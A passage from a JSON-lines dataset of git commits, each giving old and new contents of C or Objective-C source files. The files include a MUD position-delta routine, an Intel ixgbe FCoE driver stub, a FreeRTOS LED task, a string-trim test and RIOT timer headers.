/libvirt,iam-TJ\/libvirt,zhlcindy\/libvirt-1.1.4-maintain,novel\/fbsd-libvirt,VenkatDatta\/libvirt,novel\/fbsd-libvirt,bjzhang\/libvirt,rlaager\/libvirt,crobinso\/libvirt,zippy2\/libvirt,datto\/libvirt,iam-TJ\/libvirt,dumbbell\/libvirt,fabianfreyer\/libvirt,VenkatDatta\/libvirt,zippy2\/libvirt,olafhering\/libvirt,shugaoye\/libvirt,nertpinx\/libvirt,VenkatDatta\/libvirt,andreabolognani\/libvirt,novel\/fbsd-libvirt,libvirt\/libvirt,rmarwaha\/libvirt,cbosdo\/libvirt,wiedi\/libvirt,jeckersb\/libvirt,bjzhang\/libvirt,zhlcindy\/libvirt-1.1.4-maintain,rmarwaha\/libvirt,novel\/fbsd-libvirt,dumbbell\/libvirt,shugaoye\/libvirt,emaste\/libvirt,warewolf\/libvirt,novel\/fbsd-libvirt,iam-TJ\/libvirt,taget\/libvirt,cbosdo\/libvirt,siboulet\/libvirt-openvz,eskultety\/libvirt,dumbbell\/libvirt,jfehlig\/libvirt,olafhering\/libvirt,trainstack\/libvirt,andreabolognani\/libvirt,jardasgit\/libvirt,emaste\/libvirt,jeckersb\/libvirt,datto\/libvirt,rmarwaha\/libvirt1,agx\/libvirt,warewolf\/libvirt,taget\/libvirt,dumbbell\/libvirt,rmarwaha\/libvirt,jeckersb\/libvirt,dumbbell\/libvirt,shugaoye\/libvirt,cbosdo\/libvirt,elmarco\/libvirt,iam-TJ\/libvirt,rmarwaha\/libvirt1,iam-TJ\/libvirt,emaste\/libvirt,rlaager\/libvirt,emaste\/libvirt,iam-TJ\/libvirt,taget\/libvirt,warewolf\/libvirt,libvirt\/libvirt"}
{"commit":"05bf8903188764ffe423b03b72b8c2cb44eeb6b2","old_file":"testmud\/mud\/home\/Game\/sys\/subd.c","new_file":"testmud\/mud\/home\/Game\/sys\/subd.c","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\nfloat *measure_delta(object a, object b)\n{\n\tobject cc;\n\n\tfloat dx, dy, dz;\n\n\tcc = SUBD->query_common_container(a, b);\n\n\tif (!cc) {\n\t\terror(\"Objects not on same plane of existence\");\n\t}\n\n\twhile (b != cc) {\n\t\tdx += b->query_x_position();\n\t\tdy += b->query_y_position();\n\t\tdz += b->query_z_position();\n\t\tb = b->query_environment();\n\t}\n\n\twhile (a != cc) {\n\t\tdx -= a->query_x_position();\n\t\tdy -= a->query_y_position();\n\t\tdz -= a->query_z_position();\n\t\ta = a->query_environment();\n\t}\n\n\treturn ({ dx, dy, dz });\n}\n","subject":"Add difference delta measurement routine","message":"Add difference delta measurement routine\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"d3a2ae6d315382b2dcc7747c5b3b70f0490e9157","old_file":"drivers\/net\/ixgbe\/ixgbe_fcoe.c","new_file":"drivers\/net\/ixgbe\/ixgbe_fcoe.c","old_contents":"","new_contents":"\/*******************************************************************************\n\n  Intel 10 Gigabit PCI Express Linux driver\n  Copyright(c) 1999 - 2009 Intel Corporation.\n\n  This program is free software; you can redistribute it and\/or modify it\n  under the terms and conditions of the GNU General Public License,\n  version 2, as published by the Free Software Foundation.\n\n  This program is distributed in the hope it will be useful, but WITHOUT\n  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n  FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for\n  more details.\n\n  You should have received a copy of the GNU General Public License along with\n  this program; if not, write to the Free Software Foundation, Inc.,\n  51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA.\n\n  The full GNU General Public License is included in this distribution in\n  the file called \"COPYING\".\n\n  Contact Information:\n  e1000-devel Mailing List <e1000-devel@lists.sourceforge.net>\n  Intel Corporation, 5200 N.E. Elam Young Parkway, Hillsboro, OR 97124-6497\n\n*******************************************************************************\/\n\n\n#include \"ixgbe.h\"\n#include <linux\/if_ether.h>\n#include <scsi\/scsi_cmnd.h>\n#include <scsi\/scsi_device.h>\n#include <scsi\/fc\/fc_fs.h>\n#include <scsi\/fc\/fc_fcoe.h>\n#include <scsi\/libfc.h>\n#include <scsi\/libfcoe.h>\n\n\/**\n * ixgbe_configure_fcoe - configures registers for fcoe at start\n * @adapter: ptr to ixgbe adapter\n *\n * This sets up FCoE related registers\n *\n * Returns : none\n *\/\nvoid ixgbe_configure_fcoe(struct ixgbe_adapter *adapter)\n{\n\tstruct ixgbe_hw *hw = &adapter->hw;\n\n\t\/* L2 filter for FCoE: default to queue 0 *\/\n\tIXGBE_WRITE_REG(hw, IXGBE_ETQF(IXGBE_ETQF_FILTER_FCOE),\n\t\t\t(ETH_P_FCOE | IXGBE_ETQF_FCOE | IXGBE_ETQF_FILTER_EN));\n\tIXGBE_WRITE_REG(hw, IXGBE_FCRECTL, 0);\n\tIXGBE_WRITE_REG(hw, IXGBE_ETQS(IXGBE_ETQF_FILTER_FCOE),\n\t\t\tIXGBE_ETQS_QUEUE_EN);\n\tIXGBE_WRITE_REG(hw, IXGBE_FCRXCTRL,\n\t\t\tIXGBE_FCRXCTRL_FCOELLI |\n\t\t\tIXGBE_FCRXCTRL_FCCRCBO |\n\t\t\t(FC_FCOE_VER << IXGBE_FCRXCTRL_FCOEVER_SHIFT));\n}\n","subject":"Add FCoE feature code to 82599","message":"ixgbe: Add FCoE feature code to 82599\n\nThis adds the FCoE feature code ixgbe_fcoe.c to 82599. For a start, this patch\nonly adds ixgbe_configure_fcoe() to configure related register for FCoE to 82599.\nIn patches that follow, I will be adding more functions to ixgbe_fcoe.c to add\nsupport of FCoE offload features to 82599.\n\nSigned-off-by: Yi Zou <5b3a821cf7a153d601945bbe257e1150110342e4@intel.com>\nAcked-by: Peter P Waskiewicz Jr <019ca817bcedb2fce0c539efa1b71c24f7a6c1c1@intel.com>\nSigned-off-by: Jeff Kirsher <87e35f5be20bb3e67f4ba6b86f5f6be3085b1b3a@intel.com>\nSigned-off-by: David S. Miller <fe08d3c717adf2ae63592e4c9aec6e3e404d8e3e@davemloft.net>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"33fbf34388889fb5e771f51f8c34ef39079f2aa3","old_file":"micropython-1.5\/stmhal\/ledtask.c","new_file":"micropython-1.5\/stmhal\/ledtask.c","old_contents":"#include \"stdio.h\"\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include STM32_HAL_H\n\nvoid LedTask(void *pvParameters)\n{\n    \/* GPIO structure *\/\n    GPIO_InitTypeDef GPIO_InitStructure;\n\n    \/* Configure I\/O speed, mode, output type and pull *\/\n    GPIO_InitStructure.Pin = GPIO_PIN_5;\n    GPIO_InitStructure.Mode = GPIO_MODE_OUTPUT_PP;\n    GPIO_InitStructure.Pull = GPIO_PULLUP;\n    GPIO_InitStructure.Speed = GPIO_SPEED_FAST;\n    HAL_GPIO_Init(GPIOA, &GPIO_InitStructure); \n\n    const TickType_t xDelay = 1000 \/ portTICK_PERIOD_MS;\n\n    \/* Toggle LED in an infinite loop *\/  \n    while (1) {\n        HAL_GPIO_TogglePin(GPIOA, GPIO_PIN_5);\n\n        \/* Insert a 1000ms delay *\/\n        vTaskDelay(xDelay);\n    }\n}\n","new_contents":"#include \"stdio.h\"\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include STM32_HAL_H\n\nvoid LedTask(void *pvParameters)\n{\n    \/* GPIO structure *\/\n    GPIO_InitTypeDef GPIO_InitStructure;\n\n    \/* Configure I\/O speed, mode, output type and pull *\/\n    GPIO_InitStructure.Pin = GPIO_PIN_5;\n    GPIO_InitStructure.Mode = GPIO_MODE_OUTPUT_PP;\n    GPIO_InitStructure.Pull = GPIO_PULLUP;\n    GPIO_InitStructure.Speed = GPIO_SPEED_FAST;\n    HAL_GPIO_Init(GPIOA, &GPIO_InitStructure); \n\n    \/* Toggle LED in an infinite loop *\/  \n    while (1) {\n        HAL_GPIO_TogglePin(GPIOA, GPIO_PIN_5);\n\n        \/* Insert a 1000ms delay *\/\n        HAL_Delay(1000);\n    }\n}\n","subject":"Use HAL_Delay in LED Task","message":"Use HAL_Delay in LED Task\n","lang":"C","license":"mit","repos":"jaafarbarek\/pyrtos,jaafarbarek\/pyrtos,jaafarbarek\/pyrtos,jaafarbarek\/pyrtos,jaafarbarek\/pyrtos"}
{"commit":"cebc280640017d412058c2bf40d31a5af3d82d32","old_file":"Sources\/Foundation\/OCAFoundation.h","new_file":"Sources\/Foundation\/OCAFoundation.h","old_contents":"\/\/\n\/\/  ObjectiveChain.h\n\/\/  Objective-Chain\n\/\/\n\/\/  Created by Martin Kiss on 30.12.13.\n\/\/  Copyright © 2014 Martin Kiss. All rights reserved.\n\/\/\n\n\n\n\/\/\/ Producers\n\n#import \"OCAProducer.h\"\n#import \"OCACommand.h\"\n#import \"OCAHub.h\"\n#import \"OCAProperty.h\"\n#import \"OCAInvoker.h\"\n#import \"OCANotificator.h\"\n#import \"OCATimer.h\"\n\n\n\/\/\/ Mediators\n\n#import \"OCAMediator.h\"\n#import \"OCABridge.h\"\n#import \"OCAContext.h\"\n#import \"OCAFilter.h\"\n\n\n\/\/\/ Consumers\n\n#import \"OCAConsumer.h\"\n#import \"OCASubscriber.h\"\n#import \"OCAMulticast.h\"\n\n\n\/\/\/ Transformers\n\n#import \"OCATransformer.h\"\n\n\n\/\/\/ Predicates\n\n#import \"OCAPredicate.h\"\n\n\n\/\/\/ Utilities\n\n#import \"OCAKeyPathAccessor.h\"\n#import \"OCAStructureAccessor.h\"\n\n#import \"OCAQueue.h\"\n#import \"OCASemaphore.h\"\n\n#import \"NSValue+Boxing.h\"\n#import \"NSArray+Ordinals.h\"\n#import \"OCADecomposer.h\"\n#import \"OCAInvocationCatcher.h\"\n\n\n","new_contents":"\/\/\n\/\/  ObjectiveChain.h\n\/\/  Objective-Chain\n\/\/\n\/\/  Created by Martin Kiss on 30.12.13.\n\/\/  Copyright © 2014 Martin Kiss. All rights reserved.\n\/\/\n\n\n\n\/\/\/ Producers\n\n#import \"OCAProducer.h\"\n#import \"OCACommand.h\"\n#import \"OCAHub.h\"\n#import \"OCAProperty.h\"\n#import \"OCATimer.h\"\n#import \"OCANotificator.h\"\n\n\n\/\/\/ Mediators\n\n#import \"OCAMediator.h\"\n#import \"OCABridge.h\"\n#import \"OCAContext.h\"\n#import \"OCAFilter.h\"\n#import \"OCAThrottle.h\"\n\n\n\/\/\/ Consumers\n\n#import \"OCAConsumer.h\"\n#import \"OCASubscriber.h\"\n#import \"OCAMulticast.h\"\n#import \"OCAInvoker.h\"\n\n\n\/\/\/ Transformers\n\n#import \"OCATransformer.h\"\n\n\n\/\/\/ Predicates\n\n#import \"OCAPredicate.h\"\n\n\n\/\/\/ Utilities\n\n#import \"OCAKeyPathAccessor.h\"\n#import \"OCAStructureAccessor.h\"\n\n#import \"OCAQueue.h\"\n#import \"OCASemaphore.h\"\n\n#import \"NSValue+Boxing.h\"\n#import \"NSArray+Ordinals.h\"\n#import \"OCADecomposer.h\"\n#import \"OCAInvocationCatcher.h\"\n#import \"OCAKeyValueChange.h\"\n#import \"OCAVariadic.h\"\n#import \"OCAPlaceholderObject.h\"\n\n\n","subject":"Add missing classes to Foundation import","message":"Add missing classes to Foundation import\n","lang":"C","license":"mit","repos":"Tricertops\/Objective-Chain,iMartinKiss\/Objective-Chain"}
{"commit":"cde5e48b099ffafee3d30404f72871142959a494","old_file":"test\/test_trim.c","new_file":"test\/test_trim.c","old_contents":"\n#include <string_manip.h>\n\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define TEST_STRS 4 \n\nchar *test_strs_initial[TEST_STRS] = {\"   \", \" a\", \"a \", \" a \"};\nchar *test_strs_correct[TEST_STRS] = {\"\", \"a\", \"a\", \"a\"};\n\nint main() {\n\tint i;\n\tfor(i = 0; i < TEST_STRS; i++) {\n\t\tchar *dup, *correct, *initial;\n\t\tint result;\n\t\t\n\t\tinitial = test_strs_initial[i];\n\t\tcorrect = test_strs_correct[i];\n\t\tdup\t= strdup(test_strs_initial[i]);\n\n\t\ttrim(dup);\n\t\t\n\t\tresult = strcmp(dup, correct);\n\t\tif(result != 0) {\n\t\t\tfprintf(stderr, \"Trim failed! \"\n\t\t\t\t\t\"Got [%s] Expected [%s] Initial [%s].\\n\", dup, correct, initial); \n\t\t\tfree(dup);\n\t\t\treturn result;\n\t\t}\n\t\tfree(dup);\n\t}\n\treturn 0;\n}\n","new_contents":"\n#include <string_manip.h>\n\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define TEST_STRS 6 \n\nchar *test_strs_initial[TEST_STRS] = {\"\", \"   \", \" a\", \"a \", \" a \", \" a a \"};\nchar *test_strs_correct[TEST_STRS] = {\"\", \"\", \"a\", \"a\", \"a\", \"a a\"};\n\nint main() {\n\tint i, result = 0;\n\tfor(i = 0; i < TEST_STRS && result == 0; i++) {\n\t\tchar *dup, *correct, *initial;\n\t\t\n\t\tinitial = test_strs_initial[i];\n\t\tcorrect = test_strs_correct[i];\n\n\t\t\/\/ Duplicate for modification\n\t\tdup\t= strdup(test_strs_initial[i]);\n\n\t\ttrim(dup);\n\t\t\n\t\t\/\/ Compare results\n\t\tresult = strcmp(dup, correct);\n\t\tif(result != 0) {\n\t\t\tfprintf(stderr, \"Trim failed! \"\n\t\t\t\t\t\"Got [%s] Expected [%s] Initial [%s].\\n\", dup, correct, initial); \n\t\t}\n\n\t\tfree(dup);\n\t}\n\treturn result;\n}\n","subject":"Add more test cases to trim","message":"Add more test cases to trim\n","lang":"C","license":"mit","repos":"Coderlane\/morse_translator"}
{"commit":"e682b4021995c43d257d0dda0a542723dfa35e68","old_file":"src\/common\/timer.h","new_file":"src\/common\/timer.h","old_contents":"#pragma once\n\n#include <boost\/timer\/timer.hpp>\n\nnamespace marian {\nnamespace timer {\n  using Timer = boost::timer::cpu_timer;\n  using AutoTimer = boost::timer::auto_cpu_timer;\n}\n}","new_contents":"#pragma once\n\n#include <boost\/timer\/timer.hpp>\n\nnamespace marian {\nnamespace timer {\n  using Timer = boost::timer::cpu_timer;\n  using AutoTimer = boost::timer::auto_cpu_timer;\n}\n}\n","subject":"Add new line at end","message":"Add new line at end","lang":"C","license":"mit","repos":"marian-nmt\/marian-train,amunmt\/marian,emjotde\/amunmt,emjotde\/amunn,emjotde\/amunmt,emjotde\/Marian,emjotde\/amunn,marian-nmt\/marian-train,emjotde\/amunn,amunmt\/marian,amunmt\/marian,emjotde\/amunmt,emjotde\/amunn,emjotde\/Marian,marian-nmt\/marian-train,emjotde\/amunmt,marian-nmt\/marian-train,marian-nmt\/marian-train"}
{"commit":"2dc37817bc768b03dacbbe72503216f5e0c7f2a0","old_file":"cpu\/lm4f120\/include\/hwtimer_cpu.h","new_file":"cpu\/lm4f120\/include\/hwtimer_cpu.h","old_contents":"\/*\n * Copyright (C) 2015 Rakendra Thapa <rakendrathapa@gmail.coa>\n *\n * This file is subject to the terms and conditions of the GNU Lesser General\n * Public License v2.1. See the file LICENSE in the top level directory for more\n * details.\n *\/\n\n\/**\n * @ingroup         cpu_lm4f120\n * @{\n *\n * @file\n * @brief           CPU specific hwtimer configuration options\n *\n * @author          Rakendra Thapa <rakendrathapa@gmail.com>\n *\/\n\n#ifndef HWTIMER_CPU_H\n#define HWTIMER_CPU_H\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n\/**\n * @name Hardware timer configuration\n * @{\n *\/\n#define HWTIMER_MAXTIMERS   1                      \/**< the CPU implementation supports 4 HW timers *\/\n#define HWTIMER_SPEED       1000000                \/**< the HW timer runs with 1MHz *\/\n#define HWTIMER_MAXTICKS    0xffffffff             \/**< 32-bit timer *\/\n#define HWTIMER_MSEC        (HWTIMER_SPEED\/1000)\n#define HWTIMER_SEC         (HWTIMER_SPEED\/1000000)\n\/**@}*\/\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* HWTIMER_CPU_H *\/\n\/** @} *\/\n","new_contents":"\/*\n * Copyright (C) 2015 Rakendra Thapa <rakendrathapa@gmail.coa>\n *\n * This file is subject to the terms and conditions of the GNU Lesser General\n * Public License v2.1. See the file LICENSE in the top level directory for more\n * details.\n *\/\n\n\/**\n * @ingroup         cpu_lm4f120\n * @{\n *\n * @file\n * @brief           CPU specific hwtimer configuration options\n *\n * @author          Rakendra Thapa <rakendrathapa@gmail.com>\n *\/\n\n#ifndef HWTIMER_CPU_H\n#define HWTIMER_CPU_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n * @name Hardware timer configuration\n * @{\n *\/\n#define HWTIMER_MAXTIMERS   1                      \/**< the CPU implementation supports 4 HW timers *\/\n#define HWTIMER_SPEED       1000000                \/**< the HW timer runs with 1MHz *\/\n#define HWTIMER_MAXTICKS    0xffffffff             \/**< 32-bit timer *\/\n#define HWTIMER_MSEC        (HWTIMER_SPEED\/1000)\n#define HWTIMER_SEC         (HWTIMER_SPEED\/1000000)\n\/**@}*\/\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* HWTIMER_CPU_H *\/\n\/** @} *\/\n","subject":"Modify to have C++ compatible header","message":"Modify to have C++ compatible header\n","lang":"C","license":"lgpl-2.1","repos":"stevenj\/RIOT,rfuentess\/RIOT,lebrush\/RIOT,malosek\/RIOT,adrianghc\/RIOT,immesys\/RiSyn,bartfaizoltan\/RIOT,binarylemon\/RIOT,jfischer-phytec-iot\/RIOT,binarylemon\/RIOT,avmelnikoff\/RIOT,attdona\/RIOT,abp719\/RIOT,stevenj\/RIOT,MonsterCode8000\/RIOT,centurysys\/RIOT,arvindpdmn\/RIOT,RubikonAlpha\/RIOT,DipSwitch\/RIOT,adrianghc\/RIOT,avmelnikoff\/RIOT,mtausig\/RIOT,Darredevil\/RIOT,kerneltask\/RIOT,RBartz\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,jremmert-phytec-iot\/RIOT,Yonezawa-T2\/RIOT,rfuentess\/RIOT,OTAkeys\/RIOT,luciotorre\/RIOT,ks156\/RIOT,kbumsik\/RIOT,asanka-code\/RIOT,alex1818\/RIOT,kaspar030\/RIOT,BytesGalore\/RIOT,gbarnett\/RIOT,kaleb-himes\/RIOT,immesys\/RiSyn,latsku\/RIOT,rousselk\/RIOT,BytesGalore\/RIOT,ntrtrung\/RIOT,MonsterCode8000\/RIOT,OlegHahm\/RIOT,jremmert-phytec-iot\/RIOT,zhuoshuguo\/RIOT,MohmadAyman\/RIOT,MohmadAyman\/RIOT,josephnoir\/RIOT,RIOT-OS\/RIOT,backenklee\/RIOT,roberthartung\/RIOT,Hyungsin\/RIOT-OS,rakendrathapa\/RIOT,robixnai\/RIOT,abp719\/RIOT,l3nko\/RIOT,openkosmosorg\/RIOT,thiagohd\/RIOT,BytesGalore\/RIOT,rousselk\/RIOT,smlng\/RIOT,adjih\/RIOT,abp719\/RIOT,attdona\/RIOT,msolters\/RIOT,yogo1212\/RIOT,RBartz\/RIOT,ant9000\/RIOT,immesys\/RiSyn,authmillenon\/RIOT,DipSwitch\/RIOT,neiljay\/RIOT,mziegert\/RIOT,miri64\/RIOT,mfrey\/RIOT,MarkXYang\/RIOT,EmuxEvans\/RIOT,Hyungsin\/RIOT-OS,mziegert\/RIOT,FrancescoErmini\/RIOT,brettswann\/RIOT,patkan\/RIOT,aeneby\/RIOT,haoyangyu\/RIOT,rfuentess\/RIOT,lebrush\/RIOT,stevenj\/RIOT,LudwigKnuepfer\/RIOT,centurysys\/RIOT,authmillenon\/RIOT,RubikonAlpha\/RIOT,neumodisch\/RIOT,A-Paul\/RIOT,OTAkeys\/RIOT,gebart\/RIOT,openkosmosorg\/RIOT,malosek\/RIOT,neiljay\/RIOT,beurdouche\/RIOT,d00616\/RIOT,yogo1212\/RIOT,LudwigOrtmann\/RIOT,adrianghc\/RIOT,openkosmosorg\/RIOT,MonsterCode8000\/RIOT,kaspar030\/RIOT,neiljay\/RIOT,haoyangyu\/RIOT,alignan\/RIOT,watr-li\/RIOT,l3nko\/RIOT,TobiasFredersdorf\/RIOT,msolters\/RIOT,OlegHahm\/RIOT,MohmadAyman\/RIOT,daniel-k\/RIOT,TobiasFredersdorf\/RIOT,daniel-k\/RIOT,thomaseichinger\/RIOT,authmillenon\/RIOT,LudwigOrtmann\/RIOT,JensErdmann\/RIOT,jasonatran\/RIOT,neumodisch\/RIOT,attdona\/RIOT,neiljay\/RIOT,robixnai\/RIOT,syin2\/RIOT,automote\/RIOT,abkam07\/RIOT,aeneby\/RIOT,automote\/RIOT,adjih\/RIOT,adrianghc\/RIOT,zhuoshuguo\/RIOT,neumodisch\/RIOT,miri64\/RIOT,rakendrathapa\/RIOT,jfischer-phytec-iot\/RIOT,altairpearl\/RIOT,ks156\/RIOT,DipSwitch\/RIOT,khhhh\/RIOT,x3ro\/RIOT,openkosmosorg\/RIOT,Yonezawa-T2\/RIOT,rakendrathapa\/RIOT,khhhh\/RIOT,josephnoir\/RIOT,ntrtrung\/RIOT,gebart\/RIOT,asanka-code\/RIOT,hamilton-mote\/RIOT-OS,bartfaizoltan\/RIOT,Osblouf\/RIOT,josephnoir\/RIOT,gbarnett\/RIOT,backenklee\/RIOT,Hyungsin\/RIOT-OS,biboc\/RIOT,x3ro\/RIOT,binarylemon\/RIOT,lebrush\/RIOT,marcosalm\/RIOT,jasonatran\/RIOT,x3ro\/RIOT,DipSwitch\/RIOT,dhruvvyas90\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,dailab\/RIOT,lazytech-org\/RIOT,watr-li\/RIOT,FrancescoErmini\/RIOT,jremmert-phytec-iot\/RIOT,PSHIVANI\/Riot-Code,toonst\/RIOT,OlegHahm\/RIOT,LudwigOrtmann\/RIOT,herrfz\/RIOT,dailab\/RIOT,cladmi\/RIOT,binarylemon\/RIOT,rfuentess\/RIOT,kYc0o\/RIOT,kb2ma\/RIOT,wentaoshang\/RIOT,arvindpdmn\/RIOT,luciotorre\/RIOT,thiagohd\/RIOT,mfrey\/RIOT,marcosalm\/RIOT,EmuxEvans\/RIOT,Osblouf\/RIOT,basilfx\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,ant9000\/RIOT,bartfaizoltan\/RIOT,abkam07\/RIOT,jbeyerstedt\/RIOT-OTA-update,PSHIVANI\/Riot-Code,kYc0o\/RIOT,RBartz\/RIOT,alex1818\/RIOT,gebart\/RIOT,patkan\/RIOT,robixnai\/RIOT,patkan\/RIOT,automote\/RIOT,RIOT-OS\/RIOT,alignan\/RIOT,EmuxEvans\/RIOT,asanka-code\/RIOT,kbumsik\/RIOT,herrfz\/RIOT,rajma996\/RIOT,automote\/RIOT,haoyangyu\/RIOT,Ell-i\/RIOT,syin2\/RIOT,alex1818\/RIOT,lazytech-org\/RIOT,automote\/RIOT,thomaseichinger\/RIOT,RIOT-OS\/RIOT,RIOT-OS\/RIOT,aeneby\/RIOT,altairpearl\/RIOT,rousselk\/RIOT,Darredevil\/RIOT,tdautc19841202\/RIOT,immesys\/RiSyn,Ell-i\/RIOT,backenklee\/RIOT,jasonatran\/RIOT,jfischer-phytec-iot\/RIOT,lazytech-org\/RIOT,dhruvvyas90\/RIOT,toonst\/RIOT,x3ro\/RIOT,MonsterCode8000\/RIOT,PSHIVANI\/Riot-Code,binarylemon\/RIOT,rajma996\/RIOT,mfrey\/RIOT,mziegert\/RIOT,x3ro\/RIOT,kaleb-himes\/RIOT,robixnai\/RIOT,authmillenon\/RIOT,smlng\/RIOT,abp719\/RIOT,altairpearl\/RIOT,tdautc19841202\/RIOT,d00616\/RIOT,malosek\/RIOT,Josar\/RIOT,Yonezawa-T2\/RIOT,bartfaizoltan\/RIOT,khhhh\/RIOT,miri64\/RIOT,neiljay\/RIOT,adjih\/RIOT,arvindpdmn\/RIOT,toonst\/RIOT,plushvoxel\/RIOT,jbeyerstedt\/RIOT-OTA-update,immesys\/RiSyn,mfrey\/RIOT,gbarnett\/RIOT,msolters\/RIOT,tdautc19841202\/RIOT,kaleb-himes\/RIOT,alex1818\/RIOT,adjih\/RIOT,Osblouf\/RIOT,ntrtrung\/RIOT,l3nko\/RIOT,beurdouche\/RIOT,ThanhVic\/RIOT,kb2ma\/RIOT,RubikonAlpha\/RIOT,abp719\/RIOT,asanka-code\/RIOT,josephnoir\/RIOT,attdona\/RIOT,LudwigOrtmann\/RIOT,shady33\/RIOT,LudwigKnuepfer\/RIOT,kb2ma\/RIOT,EmuxEvans\/RIOT,FrancescoErmini\/RIOT,shady33\/RIOT,FrancescoErmini\/RIOT,gbarnett\/RIOT,cladmi\/RIOT,arvindpdmn\/RIOT,LudwigKnuepfer\/RIOT,biboc\/RIOT,stevenj\/RIOT,watr-li\/RIOT,gautric\/RIOT,syin2\/RIOT,hamilton-mote\/RIOT-OS,abkam07\/RIOT,MohmadAyman\/RIOT,thiagohd\/RIOT,arvindpdmn\/RIOT,d00616\/RIOT,OTAkeys\/RIOT,luciotorre\/RIOT,asanka-code\/RIOT,OlegHahm\/RIOT,kbumsik\/RIOT,rfuentess\/RIOT,herrfz\/RIOT,toonst\/RIOT,wentaoshang\/RIOT,zhuoshuguo\/RIOT,jremmert-phytec-iot\/RIOT,authmillenon\/RIOT,ntrtrung\/RIOT,thomaseichinger\/RIOT,bartfaizoltan\/RIOT,JensErdmann\/RIOT,kYc0o\/RIOT,aeneby\/RIOT,brettswann\/RIOT,asanka-code\/RIOT,RBartz\/RIOT,l3nko\/RIOT,alignan\/RIOT,alignan\/RIOT,arvindpdmn\/RIOT,thiagohd\/RIOT,patkan\/RIOT,roberthartung\/RIOT,TobiasFredersdorf\/RIOT,mtausig\/RIOT,Josar\/RIOT,LudwigKnuepfer\/RIOT,dkm\/RIOT,dkm\/RIOT,beurdouche\/RIOT,JensErdmann\/RIOT,OlegHahm\/RIOT,Lexandro92\/RIOT-CoAP,jbeyerstedt\/RIOT-OTA-update,d00616\/RIOT,LudwigOrtmann\/RIOT,abkam07\/RIOT,l3nko\/RIOT,MohmadAyman\/RIOT,daniel-k\/RIOT,Ell-i\/RIOT,yogo1212\/RIOT,ks156\/RIOT,toonst\/RIOT,zhuoshuguo\/RIOT,jremmert-phytec-iot\/RIOT,authmillenon\/RIOT,thomaseichinger\/RIOT,PSHIVANI\/Riot-Code,kerneltask\/RIOT,stevenj\/RIOT,altairpearl\/RIOT,patkan\/RIOT,kbumsik\/RIOT,MarkXYang\/RIOT,brettswann\/RIOT,abkam07\/RIOT,BytesGalore\/RIOT,TobiasFredersdorf\/RIOT,dailab\/RIOT,khhhh\/RIOT,latsku\/RIOT,latsku\/RIOT,RBartz\/RIOT,msolters\/RIOT,A-Paul\/RIOT,altairpearl\/RIOT,abp719\/RIOT,herrfz\/RIOT,Josar\/RIOT,A-Paul\/RIOT,Darredevil\/RIOT,avmelnikoff\/RIOT,katezilla\/RIOT,katezilla\/RIOT,alignan\/RIOT,JensErdmann\/RIOT,biboc\/RIOT,kYc0o\/RIOT,ks156\/RIOT,adjih\/RIOT,jbeyerstedt\/RIOT-OTA-update,hamilton-mote\/RIOT-OS,ThanhVic\/RIOT,watr-li\/RIOT,mtausig\/RIOT,ks156\/RIOT,marcosalm\/RIOT,luciotorre\/RIOT,wentaoshang\/RIOT,TobiasFredersdorf\/RIOT,wentaoshang\/RIOT,stevenj\/RIOT,aeneby\/RIOT,gautric\/RIOT,jfischer-phytec-iot\/RIOT,jbeyerstedt\/RIOT-OTA-update,mtausig\/RIOT,malosek\/RIOT,rakendrathapa\/RIOT,cladmi\/RIOT,brettswann\/RIOT,Hyungsin\/RIOT-OS,tfar\/RIOT,Yonezawa-T2\/RIOT,thiagohd\/RIOT,rousselk\/RIOT,watr-li\/RIOT,d00616\/RIOT,avmelnikoff\/RIOT,smlng\/RIOT,Ell-i\/RIOT,rousselk\/RIOT,kerneltask\/RIOT,kaleb-himes\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,gebart\/RIOT,ThanhVic\/RIOT,jfischer-phytec-iot\/RIOT,watr-li\/RIOT,alex1818\/RIOT,latsku\/